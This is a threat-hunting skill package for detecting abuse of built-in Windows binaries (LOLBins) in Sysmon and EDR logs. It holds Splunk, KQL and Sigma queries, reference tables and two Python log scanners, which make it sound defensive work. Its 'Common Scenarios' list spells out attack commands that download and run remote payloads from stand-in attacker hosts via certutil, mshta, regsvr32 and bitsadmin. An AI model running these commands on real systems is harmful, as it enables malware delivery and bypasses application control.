npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
MITRE D3FEND
When to Use
- When hunting for fileless attack techniques that abuse built-in Windows binaries
- After threat intelligence indicates LOLBin-based campaigns targeting your industry
- When investigating alerts for suspicious use of certutil, mshta, rundll32, or regsvr32
- During purple team exercises testing detection of defense evasion techniques
- When assessing endpoint detection coverage for MITRE ATT&CK T1218 sub-techniques
Prerequisites
- Sysmon Event ID 1 (Process Creation) with full command-line logging
- Windows Security Event ID 4688 with command-line auditing enabled
- EDR telemetry with parent-child process relationships
- SIEM platform for query and correlation (Splunk, Elastic, Microsoft Sentinel)
- LOLBAS project reference (lolbas-project.github.io) for known abuse patterns
Workflow
- Build LOLBin Watchlist: Compile a list of high-risk LOLBins from the LOLBAS project, prioritizing: certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, installutil.exe, cmstp.exe, wmic.exe, wscript.exe, cscript.exe, bitsadmin.exe, and powershell.exe.
- Baseline Normal Usage: Establish what normal LOLBin usage looks like in your environment by profiling command-line arguments, parent processes, and user contexts for each binary over 30 days.
- Hunt for Anomalous Arguments: Search for LOLBins executed with unusual command-line arguments indicating abuse -- certutil with
-urlcache -decode -encode, mshta with URL arguments, rundll32 loading DLLs from temp/user directories, regsvr32 with/s /n /u /i:URL. - Analyze Parent-Child Relationships: Identify unexpected parent processes spawning LOLBins -- for example, outlook.exe spawning mshta.exe, or winword.exe spawning certutil.exe indicates weaponized document delivery.
- Check Execution from Unusual Paths: LOLBins executed from non-standard paths (copies placed in %TEMP%, user profile directories) suggest renamed binary abuse.
- Correlate with Network Activity: Map LOLBin execution to outbound network connections (Sysmon Event ID 3) to identify download cradles and C2 callbacks.
- Score and Prioritize: Rank findings by anomaly severity, combining suspicious arguments, unusual parent process, non-standard path, and network activity indicators.
Key Concepts
| Concept | Description |
|---|---|
| T1218 | System Binary Proxy Execution |
| T1218.001 | Compiled HTML File (mshta.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 (Squiblydoo) |
| T1218.011 | Rundll32 |
| T1127.001 | MSBuild |
| T1197 | BITS Jobs (bitsadmin.exe) |
| T1140 | Deobfuscate/Decode Files (certutil.exe) |
| T1059.001 | PowerShell |
| T1059.005 | Visual Basic (wscript/cscript) |
| LOLBAS | Living Off the Land Binaries, Scripts and Libraries project |
Tools & Systems
| Tool | Purpose |
|---|---|
| Sysmon | Process creation with command-line and hash logging |
| CrowdStrike Falcon | EDR with LOLBin detection analytics |
| Microsoft Defender for Endpoint | Built-in LOLBin abuse detection |
| Splunk | SPL-based process hunting and anomaly detection |
| Elastic Security | Pre-built LOLBin detection rules |
| LOLBAS Project | Reference database of LOLBin abuse techniques |
| Sigma Rules | Community detection rules for LOLBin abuse |
Detection Queries
Splunk -- High-Risk LOLBin Execution
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspiciousKQL -- Microsoft Sentinel LOLBin Hunting
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp descSigma Rule -- Suspicious LOLBin Command Line
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
- '-encode'
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http://'
- 'https://'
- 'javascript:'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains|all:
- '/s'
- '/i:'
condition: 1 of selection_*
level: high
tags:
- attack.defense_evasion
- attack.t1218Common Scenarios
- Certutil Download Cradle:
certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exeused to download malware bypassing proxy filters. - Mshta HTA Execution:
mshta.exe http://attacker.com/malicious.htaexecuting remote HTA files containing VBScript or JScript payloads. - Regsvr32 Squiblydoo:
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dllexecuting remote SCT files to bypass application whitelisting. - Rundll32 DLL Proxy:
rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPointexecuting attacker DLLs via legitimate binary. - MSBuild Inline Task:
msbuild.exe C:\Temp\malicious.csprojexecuting C# code embedded in project files to bypass application control. - BITS Transfer:
bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exeusing BITS service for stealthy file download. - WMIC XSL Execution:
wmic process list /format:evil.xslexecuting JScript/VBScript from XSL stylesheets.
Output Format
Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Host: [Hostname]
User: [Account context]
LOLBin: [Binary name]
Full Path: [Execution path]
Command Line: [Full arguments]
Parent Process: [Parent image and command line]
Detection Category: [download_cradle/proxy_exec/uac_bypass/applocker_bypass]
Network Activity: [Yes/No -- destination if applicable]
Risk Level: [Critical/High/Medium/Low]References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md1.8 KB
API Reference — Hunting for LOLBins Execution in Endpoint Logs
Libraries Used
- csv: Parse exported endpoint log CSV files from SIEM or EDR
- python-evtx (Evtx): Parse Windows Sysmon EVTX event logs directly
- re: Regex matching for suspicious command-line patterns
CLI Interface
python agent.py csv --file <csv_path> [--process-col Image] [--cmdline-col CommandLine]
python agent.py evtx --file <evtx_path>Core Functions
scan_csv_logs(csv_file, process_col, cmdline_col)
Scans CSV-exported endpoint logs for LOLBin process executions with suspicious arguments.
Parameters:
| Name | Type | Description |
|---|---|---|
csv_file |
str | Path to CSV log file |
process_col |
str | Column name for process image path (default: Image) |
cmdline_col |
str | Column name for command line (default: CommandLine) |
Returns: dict with total_findings, by_binary counts, by_mitre counts, findings list.
scan_evtx_sysmon(evtx_file)
Parses Sysmon EVTX logs for Event ID 1 (Process Creation) matching LOLBin signatures.
Parameters:
| Name | Type | Description |
|---|---|---|
evtx_file |
str | Path to Sysmon .evtx file |
Returns: dict with total_findings and findings with record IDs, binary names, MITRE IDs.
LOLBins Detected (14 binaries)
certutil.exe, mshta.exe, regsvr32.exe, rundll32.exe, bitsadmin.exe, wmic.exe, msiexec.exe, cmstp.exe, forfiles.exe, pcalua.exe, csc.exe, installutil.exe, msbuild.exe, powershell.exe
Output Format
{
"total_findings": 12,
"by_binary": {"powershell.exe": 5, "certutil.exe": 4},
"by_mitre": {"T1059.001": 5, "T1140": 4},
"findings": [{"binary": "...", "mitre": "...", "command_line": "..."}]
}Dependencies
pip install python-evtxstandards.md2.6 KB
Standards and References - LOLBins Threat Hunting
MITRE ATT&CK LOLBin Techniques
| Technique | Binary | Abuse Pattern |
|---|---|---|
| T1218.001 | Compiled HTML (hh.exe) | Execute payloads from CHM files |
| T1218.003 | CMSTP | UAC bypass and proxy execution |
| T1218.005 | Mshta | Execute HTA files with scripts |
| T1218.010 | Regsvr32 | Squiblydoo - remote SCT execution |
| T1218.011 | Rundll32 | Proxy execution of malicious DLLs |
| T1127.001 | MSBuild | Execute inline C#/VB tasks |
| T1197 | Bitsadmin | Stealthy file downloads via BITS |
| T1140 | Certutil | Download and decode files |
| T1059.001 | PowerShell | Script execution and download cradles |
| T1059.005 | Wscript/Cscript | VBScript/JScript execution |
| T1047 | WMIC | Remote execution and XSL script execution |
| T1053.005 | Schtasks | Scheduled task creation for persistence |
Top 8 LOLBins by Threat Actor Usage (CrowdStrike Research)
| LOLBin | Common Abuse | Detection Priority |
|---|---|---|
| PowerShell.exe | Download cradles, encoded commands, AMSI bypass | Critical |
| Cmd.exe | Script execution, chaining with other LOLBins | Critical |
| Rundll32.exe | DLL proxy execution from user directories | Critical |
| Certutil.exe | File download (-urlcache), decode (-decode) | High |
| Mshta.exe | Remote HTA execution, inline scripts | High |
| Regsvr32.exe | SCT execution (Squiblydoo), COM object abuse | High |
| MSBuild.exe | Inline task execution bypassing AppLocker | High |
| WMIC.exe | Remote process creation, XSL execution | Medium |
Suspicious Parent-Child Process Relationships
| Parent Process | Child LOLBin | Indicates |
|---|---|---|
| winword.exe | mshta.exe | Weaponized Office document |
| excel.exe | certutil.exe | Macro downloading payload |
| outlook.exe | powershell.exe | Phishing payload execution |
| wmiprvse.exe | cmd.exe | WMI-based lateral movement |
| explorer.exe | regsvr32.exe | User-triggered exploitation |
| svchost.exe | msbuild.exe | Service-based code execution |
| w3wp.exe | cmd.exe | Web shell activity |
Sysmon Events for LOLBin Detection
| Event ID | Description | LOLBin Relevance |
|---|---|---|
| 1 | Process Creation | Primary detection - command line and parent process |
| 3 | Network Connection | LOLBin outbound connections (download/C2) |
| 7 | Image Loaded | DLLs loaded by LOLBins |
| 11 | File Created | Files dropped by LOLBin execution |
| 15 | FileCreateStreamHash | Alternate data stream creation |
| 22 | DNS Query | DNS resolution from LOLBin processes |
workflows.md3.4 KB
Detailed Hunting Workflow - LOLBins Execution Detection
Phase 1: Establish LOLBin Baseline
Step 1.1 - Profile Normal LOLBin Usage
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin|wmic)\.exe$")
| stats count by Image CommandLine ParentImage User Computer
| sort -countStep 1.2 - Identify Standard Parent-Child Relationships
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32)\.exe$")
| stats count by ParentImage Image
| sort -count
| head 50Phase 2: Hunt for Download Cradles
Step 2.1 - Certutil Download Detection
index=sysmon EventCode=1 Image="*\\certutil.exe"
| where match(CommandLine, "(?i)(-urlcache|-decode|-encode|-verifyctl)")
| table _time Computer User Image CommandLine ParentImageStep 2.2 - Bitsadmin Transfer Detection
index=sysmon EventCode=1 Image="*\\bitsadmin.exe"
| where match(CommandLine, "(?i)(/transfer|/create|/addfile|/resume)")
| table _time Computer User CommandLine ParentImageStep 2.3 - PowerShell Download Cradles
index=sysmon EventCode=1 Image="*\\powershell.exe"
| where match(CommandLine, "(?i)(DownloadString|DownloadFile|DownloadData|Invoke-WebRequest|iwr|wget|curl|Start-BitsTransfer|Net\.WebClient)")
| table _time Computer User CommandLine ParentImagePhase 3: Hunt for Proxy Execution
Step 3.1 - Regsvr32 Squiblydoo
index=sysmon EventCode=1 Image="*\\regsvr32.exe"
| where match(CommandLine, "(?i)(/s.*(/n|/i:))|scrobj\.dll|http")
| table _time Computer User CommandLine ParentImageStep 3.2 - MSBuild Inline Task Execution
index=sysmon EventCode=1 Image="*\\MSBuild.exe"
| where NOT match(ParentImage, "(?i)(devenv|msbuild|visual studio)")
| where match(CommandLine, "(?i)\\\\(temp|appdata|users|public)")
| table _time Computer User CommandLine ParentImageStep 3.3 - Mshta Remote Execution
index=sysmon EventCode=1 Image="*\\mshta.exe"
| where match(CommandLine, "(?i)(http|https|javascript|vbscript)")
| table _time Computer User CommandLine ParentImagePhase 4: Hunt for Unusual Parent Processes
Step 4.1 - Office Applications Spawning LOLBins
index=sysmon EventCode=1
| where match(ParentImage, "(?i)(winword|excel|powerpnt|outlook|onenote)\.exe$")
| where match(Image, "(?i)(cmd|powershell|certutil|mshta|rundll32|regsvr32|wscript|cscript)\.exe$")
| table _time Computer User ParentImage Image CommandLineStep 4.2 - Web Server Spawning System Binaries
index=sysmon EventCode=1
| where match(ParentImage, "(?i)(w3wp|httpd|nginx|tomcat)\.exe$")
| where match(Image, "(?i)(cmd|powershell|certutil|whoami|net|net1|nltest)\.exe$")
| table _time Computer User ParentImage Image CommandLinePhase 5: Correlate with Network Activity
Step 5.1 - LOLBin Network Connections
index=sysmon EventCode=3
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|bitsadmin|wscript)\.exe$")
| where NOT cidrmatch("10.0.0.0/8", DestinationIp)
| table _time Computer Image DestinationIp DestinationPort DestinationHostnamePhase 6: Response Actions
- Block identified malicious URLs and IPs at proxy/firewall
- Isolate endpoint if active compromise confirmed
- Collect process memory dump for malware analysis
- Deploy targeted detection rules for observed patterns
- Update application control policies to restrict LOLBin abuse
Scripts 2
agent.py5.6 KB
#!/usr/bin/env python3
"""Agent for hunting LOLBin execution patterns in endpoint logs (Sysmon, EDR)."""
import json
import argparse
import re
import csv
LOLBIN_SIGNATURES = {
"certutil.exe": {"mitre": "T1140", "patterns": [r"-urlcache", r"-decode", r"-encode", r"-split.*http"]},
"mshta.exe": {"mitre": "T1218.005", "patterns": [r"vbscript:", r"javascript:", r"https?://"]},
"regsvr32.exe": {"mitre": "T1218.010", "patterns": [r"/s\s+/n\s+/u\s+/i:", r"scrobj\.dll"]},
"rundll32.exe": {"mitre": "T1218.011", "patterns": [r"javascript:", r"shell32.*ShellExec"]},
"bitsadmin.exe": {"mitre": "T1197", "patterns": [r"/transfer", r"/download", r"https?://"]},
"wmic.exe": {"mitre": "T1047", "patterns": [r"process\s+call\s+create", r"/node:"]},
"msiexec.exe": {"mitre": "T1218.007", "patterns": [r"/q.*https?://", r"/q.*/i\s+"]},
"cmstp.exe": {"mitre": "T1218.003", "patterns": [r"/ni\s+/s", r"\.inf"]},
"forfiles.exe": {"mitre": "T1202", "patterns": [r"/c\s+cmd", r"/c\s+powershell"]},
"pcalua.exe": {"mitre": "T1202", "patterns": [r"-a\s+.*\.exe", r"-a\s+.*\.dll"]},
"csc.exe": {"mitre": "T1127", "patterns": [r"/out:.*\\temp\\", r"/out:.*\\appdata\\"]},
"installutil.exe": {"mitre": "T1218.004", "patterns": [r"/logfile=", r"/U\s+"]},
"msbuild.exe": {"mitre": "T1127.001", "patterns": [r"\.xml$", r"\.csproj$", r"\\temp\\"]},
"powershell.exe": {"mitre": "T1059.001", "patterns": [
r"-enc\s+", r"IEX", r"Invoke-Expression", r"DownloadString",
r"Net\.WebClient", r"-w\s+hidden", r"-nop\s+",
]},
}
def scan_csv_logs(csv_file, process_col="Image", cmdline_col="CommandLine"):
"""Scan exported CSV endpoint logs for LOLBin execution."""
findings = []
with open(csv_file, "r", encoding="utf-8", errors="replace") as f:
reader = csv.DictReader(f)
for row_num, row in enumerate(reader, 2):
proc = row.get(process_col, "")
cmdline = row.get(cmdline_col, "")
proc_name = proc.split("\\")[-1].lower() if proc else ""
if proc_name in LOLBIN_SIGNATURES:
sig = LOLBIN_SIGNATURES[proc_name]
for pattern in sig["patterns"]:
if re.search(pattern, cmdline, re.I):
findings.append({
"row": row_num,
"binary": proc_name,
"mitre": sig["mitre"],
"command_line": cmdline[:500],
"matched_pattern": pattern,
"user": row.get("User", row.get("user", "")),
"host": row.get("Computer", row.get("hostname", "")),
"timestamp": row.get("UtcTime", row.get("@timestamp", "")),
})
break
severity_map = {"T1059.001": "high", "T1218.005": "high", "T1140": "medium"}
for f_item in findings:
f_item["severity"] = severity_map.get(f_item["mitre"], "medium")
return {
"file": str(csv_file),
"total_findings": len(findings),
"by_binary": _count_by(findings, "binary"),
"by_mitre": _count_by(findings, "mitre"),
"findings": findings[:500],
}
def scan_evtx_sysmon(evtx_file):
"""Parse Sysmon EVTX for Event ID 1 matching LOLBin patterns."""
try:
import Evtx.Evtx as evtx_lib
except ImportError:
return {"error": "python-evtx not installed. Install: pip install python-evtx"}
findings = []
lolbin_set = set(LOLBIN_SIGNATURES.keys())
with evtx_lib.Evtx(evtx_file) as log:
for record in log.records():
xml_str = record.xml()
if "<EventID>1</EventID>" not in xml_str:
continue
xml_lower = xml_str.lower()
for binary in lolbin_set:
if binary in xml_lower:
sig = LOLBIN_SIGNATURES[binary]
for pattern in sig["patterns"]:
if re.search(pattern, xml_str, re.I):
findings.append({
"record_id": record.record_num(),
"binary": binary,
"mitre": sig["mitre"],
"pattern": pattern,
"xml_snippet": xml_str[:600],
})
break
break
return {"file": evtx_file, "total_findings": len(findings), "findings": findings[:300]}
def _count_by(items, key):
counts = {}
for item in items:
val = item.get(key, "unknown")
counts[val] = counts.get(val, 0) + 1
return dict(sorted(counts.items(), key=lambda x: x[1], reverse=True))
def main():
parser = argparse.ArgumentParser(description="Hunt for LOLBin execution in endpoint logs")
sub = parser.add_subparsers(dest="command")
c = sub.add_parser("csv", help="Scan CSV-exported endpoint logs")
c.add_argument("--file", required=True, help="CSV log file path")
c.add_argument("--process-col", default="Image", help="Column name for process path")
c.add_argument("--cmdline-col", default="CommandLine", help="Column name for command line")
e = sub.add_parser("evtx", help="Scan Sysmon EVTX log")
e.add_argument("--file", required=True, help="EVTX file path")
args = parser.parse_args()
if args.command == "csv":
result = scan_csv_logs(args.file, args.process_col, args.cmdline_col)
elif args.command == "evtx":
result = scan_evtx_sysmon(args.file)
else:
parser.print_help()
return
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()
process.py7.0 KB
#!/usr/bin/env python3
"""
LOLBins Execution Hunting Script
Analyzes process creation logs to detect suspicious usage of
Living Off the Land Binaries by matching command-line patterns.
"""
import json
import csv
import argparse
import datetime
import re
from pathlib import Path
LOLBIN_PATTERNS = {
"certutil.exe": {
"patterns": [
(r"(?i)-urlcache", "download_cradle", "HIGH"),
(r"(?i)-decode", "file_decode", "HIGH"),
(r"(?i)-encode", "file_encode", "MEDIUM"),
(r"(?i)-verifyctl", "download_alt", "HIGH"),
],
"technique": "T1140",
},
"mshta.exe": {
"patterns": [
(r"(?i)https?://", "remote_hta", "CRITICAL"),
(r"(?i)javascript:", "inline_script", "CRITICAL"),
(r"(?i)vbscript:", "inline_vbs", "CRITICAL"),
],
"technique": "T1218.005",
},
"rundll32.exe": {
"patterns": [
(r"(?i)\\(temp|appdata|users)\\", "unusual_dll_path", "HIGH"),
(r"(?i)javascript:", "js_execution", "CRITICAL"),
(r"(?i)shell32\.dll.*ShellExec_RunDLL", "shell_exec", "MEDIUM"),
],
"technique": "T1218.011",
},
"regsvr32.exe": {
"patterns": [
(r"(?i)/s.*/n.*/u.*/i:", "squiblydoo", "CRITICAL"),
(r"(?i)scrobj\.dll", "scriptlet_exec", "CRITICAL"),
(r"(?i)https?://", "remote_registration", "CRITICAL"),
],
"technique": "T1218.010",
},
"msbuild.exe": {
"patterns": [
(r"(?i)\\(temp|appdata|users|public)\\", "unusual_project", "HIGH"),
(r"(?i)\.(csproj|vbproj|xml)$", "project_execution", "MEDIUM"),
],
"technique": "T1127.001",
},
"bitsadmin.exe": {
"patterns": [
(r"(?i)/transfer", "bits_download", "HIGH"),
(r"(?i)/create.*(/addfile|/setnotifycmdline)", "bits_persistence", "CRITICAL"),
],
"technique": "T1197",
},
"cmstp.exe": {
"patterns": [
(r"(?i)/s.*/ni", "uac_bypass", "CRITICAL"),
(r"(?i)\.inf", "inf_execution", "HIGH"),
],
"technique": "T1218.003",
},
"wmic.exe": {
"patterns": [
(r"(?i)/format:", "xsl_execution", "HIGH"),
(r"(?i)process\s+call\s+create", "remote_exec", "HIGH"),
],
"technique": "T1047",
},
}
SUSPICIOUS_PARENTS = {
"winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
"onenote.exe", "w3wp.exe", "httpd.exe", "nginx.exe",
"wmiprvse.exe", "svchost.exe",
}
def parse_events(input_path: str) -> list[dict]:
"""Parse process creation events from JSON or CSV."""
path = Path(input_path)
events = []
if path.suffix == ".json":
with open(path, "r", encoding="utf-8") as f:
data = json.load(f)
events = data if isinstance(data, list) else data.get("events", [])
elif path.suffix == ".csv":
with open(path, "r", encoding="utf-8-sig") as f:
events = [dict(row) for row in csv.DictReader(f)]
return events
def analyze_lolbins(events: list[dict]) -> list[dict]:
"""Detect suspicious LOLBin execution patterns."""
findings = []
for event in events:
image = event.get("Image", event.get("FileName", event.get("image", "")))
cmdline = event.get("CommandLine", event.get("ProcessCommandLine", event.get("command_line", "")))
parent = event.get("ParentImage", event.get("InitiatingProcessFileName", event.get("parent_image", "")))
user = event.get("User", event.get("AccountName", event.get("user", "")))
computer = event.get("Computer", event.get("DeviceName", event.get("host", "")))
timestamp = event.get("UtcTime", event.get("Timestamp", event.get("_time", "")))
if not image or not cmdline:
continue
image_name = image.split("\\")[-1].lower()
for lolbin, config in LOLBIN_PATTERNS.items():
if image_name != lolbin.lower():
continue
for pattern, category, severity in config["patterns"]:
if re.search(pattern, cmdline):
parent_name = parent.split("\\")[-1].lower() if parent else ""
suspicious_parent = parent_name in SUSPICIOUS_PARENTS
if suspicious_parent:
severity = "CRITICAL"
findings.append({
"timestamp": timestamp,
"computer": computer,
"user": user,
"lolbin": lolbin,
"image_path": image,
"command_line": cmdline,
"parent_process": parent,
"technique": config["technique"],
"category": category,
"severity": severity,
"suspicious_parent": suspicious_parent,
})
break
return sorted(findings, key=lambda x: {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}.get(x["severity"], 4))
def run_hunt(input_path: str, output_dir: str) -> None:
"""Execute LOLBin hunting analysis."""
print(f"[*] LOLBin Execution Hunt - {datetime.datetime.now().isoformat()}")
events = parse_events(input_path)
print(f"[*] Loaded {len(events)} process events")
findings = analyze_lolbins(events)
print(f"[!] LOLBin detections: {len(findings)}")
output_path = Path(output_dir)
output_path.mkdir(parents=True, exist_ok=True)
with open(output_path / "lolbin_findings.json", "w", encoding="utf-8") as f:
json.dump({
"hunt_id": f"TH-LOLBIN-{datetime.date.today().isoformat()}",
"total_events": len(events),
"findings_count": len(findings),
"findings": findings,
}, f, indent=2)
with open(output_path / "lolbin_report.md", "w", encoding="utf-8") as f:
f.write("# LOLBin Execution Hunt Report\n\n")
f.write(f"**Date**: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"**Events Analyzed**: {len(events)}\n")
f.write(f"**Findings**: {len(findings)}\n\n")
for finding in findings:
f.write(f"## [{finding['severity']}] {finding['lolbin']} - {finding['category']}\n")
f.write(f"- **Host**: {finding['computer']}\n")
f.write(f"- **User**: {finding['user']}\n")
f.write(f"- **Command**: `{finding['command_line']}`\n")
f.write(f"- **Parent**: {finding['parent_process']}\n")
f.write(f"- **Technique**: {finding['technique']}\n\n")
print(f"[+] Results written to {output_dir}")
def main():
parser = argparse.ArgumentParser(description="LOLBin Execution Hunting")
parser.add_argument("--input", "-i", required=True, help="Path to process creation logs")
parser.add_argument("--output", "-o", default="./lolbin_hunt_output", help="Output directory")
args = parser.parse_args()
run_hunt(args.input, args.output)
if __name__ == "__main__":
main()